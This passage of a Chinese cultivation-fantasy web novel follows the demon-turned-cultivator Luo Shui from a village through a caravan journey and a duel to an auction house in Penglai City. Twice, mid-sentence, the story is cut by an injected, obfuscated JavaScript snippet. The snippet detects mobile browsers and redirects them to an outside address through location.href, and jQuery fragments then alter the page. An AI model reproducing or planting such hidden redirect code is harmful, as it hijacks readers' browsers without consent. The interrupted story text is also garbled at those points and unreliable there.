“如若按照之前修炼之法贸然结丹,极有可能会引发不可控的结果。”洛水手指转头,灵气缓缓流出,冻结了空气中的水汽,化成一朵巨大的雪花。“土系和金系可相辅相成,但用此法淬炼水系和冰系,完全不知后果,想来要结丹,还是要谨慎一些,我之前的收藏的书卷对此并无助益,看来需要出去寻些机缘了。” 洛水轻轻一点香囊,目光掠过囊中杂乱的物品:一堆闪烁着微光的灵石,几套叠放整齐的换洗衣物,几本泛黄的炼丹卷轴,以及一沓厚实的符箓,宛如一座小小的宝藏,静静地躺在那里。这些符箓都是洛水先前所造,早已注入了灵力,使用只需一点点的灵力催动,但洛水拿出符箓看了看,心里有点无语,清一色的魔道符箓。如今这地界,离天山派虽有几百里,但想来也不是魔道所控的地域,贸然使用这等符箓,不就等同于告诉众人自己身份,大呼大叫让正道来追杀么,洛水轻叹一声,无奈地将符箓重新收入怀中。 洛水思量片刻,换了一身淡粉色秀金色莲花的长袍,这袭长袍精美轻盈,不显山露水,更适合行走在外,最主要的这是用普通蚕丝做的,并不会过度招摇。洛水最后再理了一遍行囊,对着躲在远处树杆后的熊摆了摆手,笑道:“谢谢你了小熊,多谢你这段时间的款待。” 那熊看着洛水轻盈离去的身影,对着天空长啸一声,也不知是高兴,还是难过。 洛水身上没有器物,没办法炼出飞行法器,只能靠双脚。不过洛水倒是一副怡然自得的模样,穿梭在山林之间,每一步都踏在厚厚的落叶之上,发出沙沙的响声。洛水并不着急,他已经很久很久没有过这样的自在感了。就这样,在山林间日出打坐修行,日落缓缓行走前进,过了几十日,洛水终于走出了山林,行至一个村落。 村落不大,却透出一股宁静祥和的气息,家家户户炊烟袅袅,似乎这村落还处于某条路的中段,村口停着不少的商户马车,一堆商贩正忙着给运货马匹和牛喂草喂水。做生意的村里人也在村口支起了不少的茶水摊,此刻正是饭点,炒菜声吆喝声,菜香饭香和酒香一并传来。虽然洛水已会辟谷,但闻到这股熟悉的人间烟火气,洛水心中涌起一阵温情,嘴角不自觉地溢出一丝口水。洛水想着还是吃点什么吧,这地方也好打听下消息。 就在这时,一旁有个卖面的老者注意到了洛水,便热情地招呼起来:“公子,来一碗香喷喷的牛肉面如何?” 洛水还在迟疑时,一个年龄约莫十三四的小女孩不知从哪蹦出,一把牵住洛水的胳膊,嬉笑道:“公子赶路赶累了吧,来来来,来我家面摊吃碗面再走,我家还有新鲜的茉莉花茶,我前些天刚采的,这刚炒晒好的花茶最甜最解渴,公子务必喝一杯再走。” 洛水微微一笑,心中涌起一股久违的温暖。长久以来,人们只以‘魔头’相称,而今这声‘公子’如同春风拂面,他欣然接受了小女孩的邀请,随她入座。 “公子要点什么?我们家最出名的就是牛肉面,炒菜也有,不过这两日我阿爹被雇去跟着商队进城了,只有我娘的小炒了,可惜了公子,吃不到我阿爹做的黄酒炖龙虎了。”小姑娘利落地拿抹布擦了擦桌子,又从一旁的炭炉上拿来热水,麻利地拿出茶叶倒进茶壶,排出一个大 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没一会小姑娘连同她阿爷就端出了十碗牛肉面,热气腾腾地摆在了大汉们的面前。大汉们纷纷道谢,随即不客气地拿起筷子,大口享用起来。小姑娘擦了擦汗,坐到了洛水不远处的小板凳上,洛水见状,便温和地开口询问小姑娘:“你们这里常有这么多客人吗?”小姑娘点了点头,又摇摇头,笑着回答:“现在是,以前一年到头也见不了几个人来我们村。自从三年前那条新修的商道穿过咱们村子后,商人们经常经过这里,带了不少外地的客人,所以村里的人都开始做起这些人的生意来了。” “这路是要通往哪里的?”洛水问道。 “往前走四百里地,就是蓬莱城了。往后走的话都是山林了,不过我听来往的客人说,往后大约一千五百里地吧,是个修仙门派,叫什么天山的,没记住,没人去过,这里的客商都是蓬莱城的人,只是来我们这边的村落收药材的。以前我们村也种药材,每年都有人来收,但是后来发现种药材不如做买卖生意赚得多,大家也就渐渐不种了。”小姑娘边说话,边摘着手里的豌豆,更显玲珑俏皮。 “蓬莱城?这又是哪呀?”洛水不禁挠起了头,记忆里根本不记得有这座城,不过也不奇怪,自他飞升化神后,也有将近一千年都未曾游历过人间了,能记在脑子里的,都是九州闻名的大城市。 “蓬莱城是东海边上的一个繁华港口,海水一年四季都蓝得像宝石一样,听我爹说,蓬莱城本是个小村落,一直被东海海妖侵扰。几百年前,一位修为高深的修士路过,斩杀了海妖,拯救了村民。没了海妖的侵扰,大家靠着港口做生意起了家,也繁华起来了。后来村落建城,人们就以那修士的名号——蓬莱,用作城市名,许多商人和修仙者都会去那里。”小姑娘摘完了豌豆,抬头露齿一笑:“公子打哪来?看你这装扮,想必是哪里的公子哥偷跑出来玩了吧,竟连蓬莱城都不知。” “小丫头,添水。”正当洛水不知怎么回答时,雇工带头的大喊一声,小姑娘忙放下手里的活,跑去拿水壶了。洛水斜睨车队一眼,八车药材满载,其中两车载草料,或因路途遥远,牛马啃食,一车竟空了大半。洛水心中微动,暗自盘算:‘前往蓬莱城一行,或许能遇良机。’ 如此一想,洛水拱手做礼道:“兄弟,多嘴问下,你们可是要去蓬莱城?” “嗯,是啊,咋的了?”领头的雇工叼着一根草正在剔牙。 “我也想去蓬莱城,但听说还有四百里地,不知能否蹭下兄弟的车队,我人生地不熟的,求个照应。”洛水言罢,自腰间钱袋中取出两枚中等灵石。领头雇工见状,忙拍胸脯保证:‘公子客气了,出门在外,理应互相帮助。您与我们同行便是。只是我们这货车行进缓慢,需得有些耐心。’说完,把那两枚中等灵石塞入了自己的钱袋。 “无妨,我并不着急。”洛水笑言。 “那行,等我们打满水,休憩一会,就继续出发。”领头雇工说完,继续和自己的手下喝起了茶。 “小姑娘,来,结账。” “公子,总共是三十文。”小姑娘甜甜一笑,洛水倒有些为难了,他没有人间钱币,只有满满一兜的灵石,他掏出一块中等灵石,问道:“你们这收灵石的不?” “自然是收的,不过公子你这块灵石少说也值个十两银钱。我们村子小,做的都是小本生意,实在找不开。” “无妨,收就行。”洛水说完把灵石往小姑娘手里一塞,小姑娘满脸惊喜地接过灵石,急忙跑回小摊后,大喊:“爷爷,娘亲,你瞧,这位公子给了我们一块中等灵石!”小姑娘的母亲从后堂走出,双手颤抖地接过灵石,连声道谢:“谢谢公子,快,把娘亲刚蒸上的馒头打包一笼,再给公子拿几包茶叶。” 洛水轻轻摆了摆手,婉言谢绝道:“真的不必了,您还是留着自家享用吧。” “公子可别嫌弃,都是自家的好东西呢。”妇人不顾洛水的拒绝,开始忙活起来,洛水也不再说什么,坐在位置上看着,心里暖意十足。 14. 十四、重新出发 茶足饭饱,洛水告别了小姑娘一家,拿着满满一包的粮食,便跟着商队出发前往蓬莱城了。一路上,带队的头领热情洋溢,详细讲述着沿途的风土人情与美食佳肴,而洛水的心思却飘向了别处。直至领队滔滔不绝的介绍告一段落,洛水方才开口问道:‘听说蓬莱城中也有修真之人,此事可真?’ “有啊,蓬莱城城主就是修真的。蓬莱城是商贾之城,除了我们这些凡人的吃食用品,那天上来的神仙也得换些个什么仙草灵药的。蓬莱城有一家专门卖这些神仙用品的店,叫‘聚玲珑’,听说很有名。我未曾踏入其中,但记得那商铺的壮观,比金楼有过之而无不及,三层楼阁高耸入云,前所未见。每日排队购物之人络绎不绝,堪比赶集。然而,争斗亦不少见,时常有人因争抢货物而大打出手。那掌柜倒也有趣,竟说打架定胜负乃古已有之的道理,谁赢了货物便归谁所有。所以聚玲珑附近只是些小摊小贩,谁也不敢在那附近开店,毕竟这些神仙动起手,随手就能把一栋楼给扬了。” ‘倒也没那么多这般厉害的’洛水嗤笑一声,记下了聚玲珑这个名字,心想应该能在那找到些修炼的器物。“大哥,你刚才说城主也是修真的?这么说,蓬莱城没有官府这些机构了?” “以前蓬莱城是个村子的时候,是有官府的,但是海妖着实厉害,换了许多官府也不顶用,渐渐地就没有再派人来上任了。后来是蓬莱大仙一剑开海,斩杀众妖,还了此地一片安宁。后来官府又来过,但是受难的时候不顶用,享福了想分杯羹,自然被村民们给赶走了。如今的城主是当年蓬莱大仙的弟子一脉,听说蓬莱大仙早已升神,故而由他弟子一脉继续守护蓬莱城。你还别说,自其家族掌权以来,蓬莱城日渐繁荣,更与九州开通海路,百姓生活愈发富足。” “那如今,蓬莱城的城主是否有和哪家仙家结盟?”洛水小心疑问。 “这倒是没听说过,你们知道吗?”领队朝其他人问道,众人也是齐齐摇头。“蓬莱城进进出出的神仙可太多了,或许有吧,只是没见过有公告什么的。” 洛水得此答案,心里宽松不少。正道与魔道最为不同的地方,便是好结盟。也有一些喜好独来独往的,两头都不参与的,这样的仙家往往更神秘莫测,洛水暗自思忖,毕竟能在正魔两道夹击下选择中立,还能屹立多年的,必定有其不为人知的强大实力和独特手段。 “不过每隔一段时间,城主都会邀请一些神仙来做客,届时城里也更热闹一些,说是请一些年轻后生的小神仙,来此地猎杀一些妖怪,保此地平安。”领队补充道,洛水听后微微点头,便知道此地也有猎灵的习惯,心想这蓬莱城城主虽是中立,但也不是不问世事之人,虽不结盟,但有联络,以这种方式维持平衡,既不偏倚任何一方,又能确保蓬莱城的安宁。 “公子,今夜可能要宿在这了。”领队的语气中带着一丝歉意,指了指前方渐暗的天色,“离蓬莱城还有三百里地,牛马也走了一天了,得休息了。” “大哥你不用管我,我只是蹭个车队的,一切以你们的习惯为准。”听了洛水的话,领队得意一笑,便开始招呼众人安营扎寨。待一切忙完,已是夜幕低垂,星辰初现。篝火熊熊,映照着众人疲惫却满足的脸庞,洛水不习惯与人为伴休息,便找了一处僻静的角落,席地而坐,开始了今天的灵气修炼。 夜风轻拂,星光洒落,四周静谧得仿佛能听见灵气流动的声音。洛水闭上双眼,心中默念口诀,灵气缓缓汇聚,体内脉络逐渐清晰,洛水只觉体内隐约有一颗金丹形成雏形,灵气如丝般缠绕,只是灵气有些杂乱,一众的白色丝状灵气中,隐约有一股黑色丝状灵气,那黑色灵气勾缠着金丹,尽显贪婪之态。而白色灵气又会快速压制黑色灵气,使其难以得逞。两股灵气相互交织,仿佛在进行一场无声的较量,但因白色灵气更盛,黑色灵气始终未能占据上风。只是时不时地又跑出来,继续勾缠金丹,然后继续被白色灵气压制。 洛水心中微凛,明白这是自身元神与□□之间的冲突,顾青元神已经消散,而自己的□□已经破灭,如今的洛水就是两个不同的零件强行捆绑。顾青拜入天山派,所修皆是正派法术,而自己以魔成神,元神早已是魔道气息,两者相斥,难以融合。 “唉。”洛水心神不定,无法继续打坐,索性睁开眼,望向星空,心中暗自盘算如何调和体内正魔之气。忽见一颗流星划破夜空,洛水想更清楚地看清这颗流星的去向,却发现,那颗流星竟冲着自己飞奔而来。 再定睛一看,那哪里是什么流星,竟是一把散发着幽蓝光芒的飞剑,剑气凌厉,直指洛水心口。 飞剑瞬息即至,洛水不及多想,双手结印,周身灵气骤然爆发,化出一道冰墙,接下了这飞剑的猛击。冰墙碎裂,洛水借势倒退,稳住身形,飞剑却悬停半空,剑身微微颤动,似有灵性。洛水凝神戒备,心中暗自揣测这飞剑的来历。忽然,一道身影自空中疾驰而来,手持长剑,面容冷峻,他看见洛水第一眼,便冷声喝道:“你是何人?” “阁下的话好生奇怪,今夜云淡风轻,我在此打坐运气,阁下驱使一剑直刺我而来,还问我为何阻挡,真乃‘欺人太甚’。”洛水并不废话,双手灵气凝聚,左右手各化出一柄冰晶利剑,剑尖直指来者,寒光闪烁,一招一式皆击向来者命门。 那人眼见洛水剑招,慌忙唤回飞剑,身形急退,口中低喝:“劈海剑·一式。”只见那人手中长剑和飞剑瞬间合二为一,剑气如海浪般翻涌,直扑洛水。洛水冷然一哼,冰晶剑轻盈舞动,寒气四溢,如狂风扫落叶般将剑气一一化解。那人被洛水行云流水、密不透风的剑招所震慑,不由自主地退后数步,随即深吸一口气,御动全身灵气汇聚于剑尖,只见剑尖吞吐着璀璨的蓝芒,他低吼一声:“劈海剑·破天式!” 洛水神色未变,不慌不忙地双剑交叉,直面那人冲击而来的蓝芒,那人似乎并未料到洛水竟能如此从容,蓝芒触及双剑,洛水身形一抖,竟化为了一摊水,那人的重击顿时落空,蓝芒砸向地面,‘轰隆’一声,激起尘土飞扬。 那人赶忙寻找洛水身影,却觉脖颈一凉,一把寒冰所化的短匕已经抵住咽喉,洛水声音冷冽:“阁下若再无礼,休怪我不留情面。” “住手!”一道清朗声音自远处传来,只见一白衣老者飘然而至,他身后还跟着十数人,个个御气飞行。老者落地后,赶忙拱手道:“失敬失敬,不知此地竟有修真同僚,冒犯了冒犯了。我们是来自蓬莱城陈家,望道友给些脸面,放过这不知天高地厚的小子吧。” “陈家?是城主家的吗?”商队的人早已被刚才的激战惊醒,只因从未见过如此精彩的剑招,只是围绕在一旁认真观看,并未出声。此刻听闻老者介绍,领队的第一个跳出来问道。 “这里有蓬莱城的人?那更好了,快帮我劝劝这位道友,放过我家少主吧。”老者看着洛水一动不动的姿势,心中暗自焦急,却又不敢轻举妄动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116024|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能赔笑道:“道友修为高深,何必与后辈计较?老头愿以重礼相谢,只求道友高抬贵手。”洛水目光如冰,冷冷地扫过众人,缓缓收回短匕,说道:“猎灵便猎灵,闻到点灵气便贸然出招,还是如此狠招,如果我修为不佳被你杀了,是不是可以算你滥杀无辜。” “我呸!你是什么东西也敢教育我!知道我是谁吗!我是蓬莱城城主之子!”那少年面红耳赤,怒目而视,洛水毫不动容,只淡淡回了四字:“关我屁事。” 这四字一出,那人怒发冲冠,手中长剑再次高举,灵气狂涌,正欲再攻,却被老者一把拦下,急切道:“少主息怒!切莫再惹事端。”老者转向洛水,苦笑道:“道友海量,请恕少主无状。今日之事,老头回去必会禀报城主,严加管教。” “滚吧。”洛水心里仍然不悦,但此地是别人地盘,多一事不如少一事,而且此行目的正是蓬莱城,与城主家结仇也不是好事,故而压下怒火。 “你横什么!不服再与我比试一次!”少年火爆依旧,那老头赶忙拉住洛水到一旁,手中塞入一枚令牌,赔礼笑道:“道友莫怪,莫怪,这是蓬莱城召仙令,近日刚好蓬莱城有猎灵大会,酒水好肉供应不缺,道友来城里多喝两杯,消消气。”洛水没有拒绝,接过令牌后,嗯了一声,那老者吐了一口气,仿佛卸下重担,连忙带着少年和一众人匆匆离去。 “公子,原来你也是神仙啊!”眼见众人飞天而去,商队众人满脸崇拜地看着洛水,眼中闪烁着兴奋的光芒。洛水被众人热切的目光看得略感不自在,轻咳掩饰尴尬,淡然笑道:“些许微末道行,怎敢妄称神仙之名。”商队首领笑着点头,感慨道:“今日得见高人,真是三生有幸。我家那小子要是也有仙缘,能像公子这般风采,那该多好啊。” “头儿,你羡慕啥?你家小子上月单枪匹马宰了一头猪,那才叫真能耐呢!”众人一阵哄笑,气氛顿时轻松不少。 “去去去,你们懂什么,杀猪能挣几个钱,人家神仙随手一挥就有灵石,杀多少头猪才能赚一枚灵石啊!” “老大你掉钱眼里了啊!小心嫂子回去又骂你做白日梦了。”众人又是一阵大笑,洛水也忍不住微微一笑,心中却暗自盘算:蓬莱城的猎灵大会,定能带来诸多际遇,真可谓‘祸兮福之所倚’啊。 次日,商队早早启程前往蓬莱城。一路上领队不停找话与洛水攀谈,试图探听更多仙界秘辛,洛水却只是微笑不语,领队识趣,也不再追问,转而讲述起蓬莱城的繁华。 “那城主姓陈,如今已是二十七代城主了,昨日与你对剑那位少爷,我今早才想起来,正是城主的三儿子,不过是庶出,只因是城主幺儿,故而宠得最过头。细想昨日那般,完全符合他平日里在城中的行径。”领队絮絮叨叨,洛水有一搭没一搭地听着,如此过了一日,远远地已望见蓬莱城的巍峨城楼,在夕阳下闪烁着金辉,城门前人声鼎沸,车水马龙。 夜色降至,城门依旧热闹非凡,洛水问道:“这每日几时下闸关城门。” “忘了说了,蓬莱城没有门禁,日日夜夜城门大开,我们是商贾之城,有许多赶货的进进出出,所以初代城主便定下了这个规矩,而且蓬莱城也无宵禁,日夜繁华,酒楼茶馆都是彻夜营业的。”领队爽朗一笑,拱手道:‘公子,我们就在此别过了,我还要赶去码头呢。’ “好,谢谢大哥一路相陪,后会有期。”洛水拱手回礼,目送商队离去,便只身一人行入蓬莱城。 15. 十五、初入蓬莱 洛水许久没有逛过人群如此密集的城市了,刚入城,便被蓬莱城的繁华小小地震撼了一下。街道两旁店铺林立,灯火辉煌,行人摩肩接踵,欢声笑语不绝于耳。洛水穿梭其间,仿佛置身于一个充满活力的梦境,心中不禁涌起一丝久违的兴奋与期待。 洛水看了看周遭,此地甚大,如若要在此寻找仙缘,想来要花的时日不会少,而且……想到这,洛水掏出了那枚召仙令仔细端详。‘如果要去蓬莱的猎灵大会瞧瞧的话,想来要待的时日就更长了’思忖许久,洛水决定找个落脚之处,以便细细规划。 他沿路探寻,不经意间拐入一条静谧巷道,虽行人稀少,但家家户户灯火通明,孩童的嬉笑声与大人的呼唤交织,饭菜的香气在空气中弥漫,营造出一种温馨的生活气息。想来洛水是走进了某个蓬莱的居民区了。 前头拐角处,挨着主道有一家古朴的小客栈,门前挂着红灯笼,小二正坐在店门口悠闲地摇着蒲扇,与隔壁邻居聊着什么,见洛水一人靠近,赶忙起身热情地迎了上来,笑容满面地问道:“客官是要住店吗?我们这儿干净舒适,价格公道。还是要吃饭?我们这儿菜肴也是一绝,选料讲究,味道鲜美,样样都是码头今日送来的海鲜,保证能鲜掉你的眉毛。” 洛水看了看店里,只见店内布置简洁雅致,几张木桌旁已有几位客人低声交谈,空气中弥漫着淡淡的茶香。墙上挂着几幅描绘蓬莱风光的画卷,增添了几分古朴气息。小二见状,忙补充道:“客人要是觉得大厅吵,我们这儿还有雅间,安静舒适。”洛水摇了摇头,说:“不必,就是随便吃点,先来两三个你们这儿的招牌吧,再上一壶酒。” “得嘞!厨房起火烧菜!掌柜的,快快把你那珍藏十八年的好酒再拿一壶来。”小二吆喝着转身进了厨房,原本在柜台后面的掌柜忙端上酒壶和酒杯,脸上堆满笑容,亲自为洛水斟满了一杯酒,客气地说:“客官,请。” “掌柜的,可否请教一下,这蓬莱洲何处有合适的居所可供租赁?” “客官是新来的?小店就有住宿。” “我需要长住,而且要清净一些的地方。”听完洛水的话,掌柜沉吟片刻,道:“客官,容我多嘴问一句,客官您是修行人士?” “是与不是又有何不同。” “这您就有所不知了,蓬莱洲有规定,修行人士不得与居民混住的,如若您是修行之人,要去户籍部登记您的个人信息,由户籍部专职派人带您看房,有合适的再租下。” “为何要如此分开管理呢?” “这我就不知道了,向来如此,住店倒是不打紧,但是住超过五日的,也是要登记具体个人信息的,如若是修行人士,还是要引导他们去户籍部登记另外租房的。”掌柜话音未落,小二已将热气腾腾的菜肴摆上桌面,掌柜微微作揖,随即退回柜台。 洛水也不再多想,端起酒杯轻抿一口,吃起了菜。 “掌柜的,结账。”洛水吃完菜招了招手,掌柜立即笑脸上前,洛水掏出一枚中等灵石,笑问:“你们应该收灵石的吧。” “哎哟哎哟,怎么会不收呢,只是这顿饭菜花不了这么多,客官可有下等灵石,两枚刚好。”掌柜满脸谄媚,洛水轻轻摇头,心中暗想,下等灵石连消遣之物都不算,怎会随身携带。“那客官稍等哈,这灵石兑换钱币我要看看今日的兑换率,不然不好记账。” “掌柜的别算了,多出来的算打赏了,就是劳烦找个人先带我去户籍部。” “哎哟,真是不巧。这蓬莱城哪里都是日夜开门,偏偏只有这些个公职地方,是日落而息的,客官要不住店一晚,明日我亲自带您过去。”掌柜热情洋溢,但洛水无意久留,遂摇头拒绝,转而询问:“请问,聚玲珑在何处?” “菜头!快,带客官去聚玲珑!” “得嘞~客官,请”名为菜头的小二闻言,立刻像弹簧般跃出,躬身行礼,脸上堆满笑意,洛水跟了上去。小二的脚程极快,东穿西绕,穿过几条热闹的街巷,又走了许久,终于来到一条大街之上。这条街道一眼望去,与先前的喧嚣繁华大相径庭,显得格外宁静空旷。 “客官,那就是聚玲珑!”小二伸手一指,一栋三层楼阁矗立眼前,朱门大开,匾额上“聚玲珑”三字龙飞凤舞。洛水驻足细观,只见楼阁雕梁画栋,气派非凡。门前悬挂着两盏巨大的红灯笼,犹如两颗璀璨的明珠,左右分别书有“聚”“宝”二字,在灯光的映照下,更显富丽堂皇之气。 更让人惊讶的,是大门前排起的长队,不需要神识探查,便能感受到灵力聚拢,排队之人都是修行人士。此时夜也深了,但排的长队竟无缩减。 “行,谢了。”洛水掏出一枚灵石递给小二,随后走近聚玲珑。门口处,除了排队的人,还有两个戴着面具的侍童,那面具长嘴尖腮,颜色以红绿描边,双眼处又绘着金,看起来像某种动物,但又不知是哪种动物。那两个侍童正在门口维持秩序,看见洛水靠近,其中一个迎了上来,恭敬地鞠了一躬,问道:“公子,是来此买宝的,还是卖宝的?” 洛水回道:“有买有卖,可否先给我一册今日出售物品的名册。” “自然。”侍童手一张,一卷青色布轴出现,侍童双手递上,并语气恭敬地说:“公子如有中意的,可在想要的物品下面写上您的预计出价,再把布轴交还与我即可,我们会在每日午时正式开拍,价高者得,如若有同价且不愿加价,则比武胜者得,如若公子没有修为,有以上情况,放弃即可。” “那他们排队是要买什么?” “筑基丹,今日我坊得了一批筑基丹,因为筑基丹过于便宜,坊主说赚不了几多钱,便不放在竞拍册子里,统一售价对外出售,只是能否买到,还需抽签,一共有五百个名额,如今已抽走了三百九十八位,公子如若有兴趣,也可参与。”侍童的话语让洛水心中一惊,筑基丹,乃是修行初学者梦寐以求的灵药。它能助人突破修为瓶颈,迅速步入筑基之境。即便是那些名门大派,筑基丹的分配亦是严格按照弟子的天资与潜力排序发放,足见其珍贵与稀缺。而这聚玲珑,竟能一次拿出五百枚,且说这丹赚不了几多钱,所以抽签散卖,实在令人咋舌。 “如若这排队里有魔道的,要怎么办?这筑基丹不就被魔道的拿去了。” “聚玲珑只有客人,没有正魔之分。”听到此言,洛水心里欢喜,他最喜欢的就是这种没有门户之见的地方。洛水抬头看了看天,夜色正深,此时离第二日的午时还有许久,自己也不可能在此等到天亮,刚想开口询问,那侍童便先开了口:“客人如若有需求,二楼有茶座,三楼有雅间,二楼低消五百中等灵石,三楼低消一百上等灵石。” ‘好家伙,竟能如此之贵’洛水也算花钱不手软的,能让他在心里惊叹出这一句话,足以证明收费之昂贵。洛水略一思忖,淡然道:“去二楼吧。” “是。”闻言,侍童身子一抖,从他背后又走出一个与他长得一模一样的侍童,弯身鞠躬道:“公子,这边请。”原先那侍童重新回到了门口,继续维持秩序。 跟着侍童入了楼,外面的装饰已是极尽华贵,而内里更是可以用金碧辉煌形容。踏入门内,映入眼帘的是广阔的大厅,天花板上悬挂着精致的金色宫灯,柔和的灯光如水波荡漾,照亮了整个空间。转头仰望,穹顶之上彩云缭绕,飞禽走兽栩栩如生,金色边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116025|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饰熠熠生辉,四周檀木梁柱光滑如镜,其上龙形图案在灯光映照下,似在低吟浅唱。 楼内的布置亦是巧妙,一二三楼以圆形围绕中央大厅,而大厅中间是一个隆起的平台,平台空旷,但能面对四方,想来这一处便是聚玲珑拍卖的中心。 侍童引领洛水走上二楼,楼梯扶手镌刻着繁复细腻的雕花,每一步都踏在云端般的柔软地毯上,悄无声息地引领着前行。沿途可见宾客或低声交谈,或品茗沉思,气氛高雅而有些嘈杂。到达二楼,侍童带着洛水来到东南方位的一处雅座,雅座四周以屏风相隔,隐秘而不失雅致。桌上摆放着精致的茶具,热气袅袅。洛水落座,侍童轻手轻脚地斟上一杯香茶,茶香四溢,令人心旷神怡。 “公子,这是您的号码。”侍童拿出一个号码牌递给洛水,“公子如若要拍物,举牌便可。”洛水点头,接过号码牌,这号码牌是用金丝楠木雕刻而成,金闪闪的木头在手里沉甸甸的。这一路走来,洛水心里感叹道‘这世上还是有比我更浮夸的人啊’ 侍童再一次鞠躬,缓缓退下,留下洛水独自品茶。洛水环顾四周,只见各色人物或神色凝重,或谈笑风生,或静坐沉思,一致的是,他们的眼神中都透着精明与期待。洛水轻轻啜饮一口香气扑鼻的茶水,随后缓缓抽出布轴展开,细细端详起其上罗列的拍卖品目录。 这份目录做得十分精细,按照不同的分类,每一页都附有精美的插图和详尽的说明。洛水目光扫过一页页目录,心中暗自估算着每一件拍品的潜在价值。目录上的灵石、珍宝、古卷等等,无不散发着诱人的气息。 洛水指尖轻抚过一行行的字,目光在某件拍品上停留片刻,眼中闪过一丝精光。 ‘玄黄石?’这个名字已许久未见,洛水心中一动,玄黄石乃土系法术至宝,由天然地精之气凝聚而成,炼化吸纳后,能大幅提升土系法术的威力。以前自己也得到过两颗,都是历经千重万险才拿到的,没想到今日竟能在一册拍卖册上看到。‘如若是真品,只能说聚玲珑背后之人实力不容小觑’洛水摸了摸玄黄石的插图,有些感慨,如今的他用不上玄黄石了。 眼神继续在目录上游移,很快,又一件拍品吸引了他的目光‘一叶扁舟’。这一叶扁舟是一个法器,但不是用于打斗的法器,而是用于代步的法器。其材质以千年阴沉古木炼制而成,轻盈却坚韧无比,做成舟,可渡河、行江、跨海,且无需帆布便能乘风破浪。一旦注入灵力,一叶扁舟便能御风而行,更为神奇的是,阴沉古木具有压制修为痕迹之效,使得一叶扁舟拥有了隐匿行踪的奇能。对于行走江湖不愿招惹是非的散修而言,这无疑是不可多得的瑰宝。洛水心中暗喜,此物若得手,行走江湖将如鱼得水。 他轻轻摩挲着布轴,估算着竞拍所需的筹码,最后拿起桌上的笔,在一叶扁舟下方写下‘五千上等灵石’。 ‘除了行走法器,如今还缺一样最重要的’洛水心里想着,目光继续在目录上搜寻,看了许久,终于在最后一行里看到了‘冰沁刀’。看图册,这把冰沁刀是横刀样式,正道之人多以剑、棍、枪为法器,而刀类法器多为魔道所用。而横刀,则算是在剑与刀之间的一种平衡,样似剑,刃是刀。这把冰沁刀是用弱水寒铁所制,坚韧无比之余又自带冰系法力,挥舞间寒气逼人,如若加以水系法术配合,威力倍增。 洛水眼中闪过一丝决然,此刀若得手,必能助益不少。心中盘算一番后,在冰沁刀下方缓缓写下‘七千上等灵石’。洛水合上目录,深吸一口气,仅是这两样,已经把他所携带的灵石耗去大半,而且这只是初价,并非最终定价,竞拍场上风云变幻,可能身上剩余的那些灵石也未必够用。 16. 十六、拍卖大会(一) “公子,这边走。”洛水还在看着画册之际,又听见那侍童声音。那侍童带着一个穿着蓝白长袍的年青男子走了过来,那男子面容清秀刚毅,气度不凡,容貌并非出类拔萃,但眉宇间透着一股不羁之色,有着一股正气凛然的气质,也算赏心悦目。 那男子先看见了洛水,朝洛水微微一笑,随后对侍童说:“我就坐这吧。”男子指了指洛水旁边的位置,侍童说:“林公子,这里是二楼茶座,您定的是三楼雅间。”男子摆了摆手,随后坐下,笑道:“无妨,按三楼雅间计费便是,我觉得这个位置更好。”洛水悄然侧目,细细打量一番,随即轻敛目光。有屏风相隔,倒也不妨事,不会扰了自己清净。 “把这屏风去了。”那林姓公子又开口,这次侍童摇了摇头,说:“林公子,这不方便,已有客人坐在这头了。” “这有何难。”那林姓公子起身,绕过屏风来到洛水这一边,洛水还在惊讶之际,那公子已躬身行礼,嘴角勾起一抹笑意,道:“在下林风,见兄台风采卓绝,定是寻宝的行家,欲与兄台结识,共叙一番,未知兄台意下如何?” “这……” “兄台莫慌,你举牌竞拍之物,我均不参与,兄台不必害怕我是抢拍之人,我也是来长些见识的,宝物随缘。”林风说话透着真诚,洛水素来不喜与陌生人过多纠葛,然而他有一个难以克服的弱点,那便是不善拒绝,内心挣扎良久,最终仍轻轻颔首应允,轻声道:“在下顾青,林公子客气了,如若不嫌弃在下是个粗鄙之人,便一同入座吧。” “哪里粗鄙,人如其名,是个冰冷高贵的公子。”林风不知为何上下打量了洛水一番,随后转头对身边侍童说:“这下可以把屏风搬走了吧?” “是。”侍童鞠躬点头,随后站直身子,一个与他同个模样的侍童从他身后走了出来,两人合力将屏风移开。林风重新落座,又侧脸对侍童说:“顾公子的消费,算在我的账上。” “明白。”侍童应声退下,林风微笑着看向洛水:“顾公子,今日看上眼的,是这两样吗?”洛水这才恍然惊觉,自己的拍卖册子未曾合拢,已然让林风窥见了自己标注的竞拍意向。 洛水有些尴尬,不知是收起来好,还是大大方方展示好。林风倒是颇为识趣,拿出自己的册子,在那两件物品下用朱砂笔画了一个叉:“顾公子请放心,这两件我绝不染指。” “我……不是这个意思。”嘴上这样说着,洛水心里却舒缓不少,林风看了一眼洛水的价码,笑言:“顾兄,想来你一定是很少来这种拍卖场合吧。” 既然被一眼看穿,洛水也不需要隐藏什么,点了点头。林风指着洛水写的价码,柔声道:“顾兄,你这价码写得这般高,如若无人与你竞拍,那你不是亏了吗?” 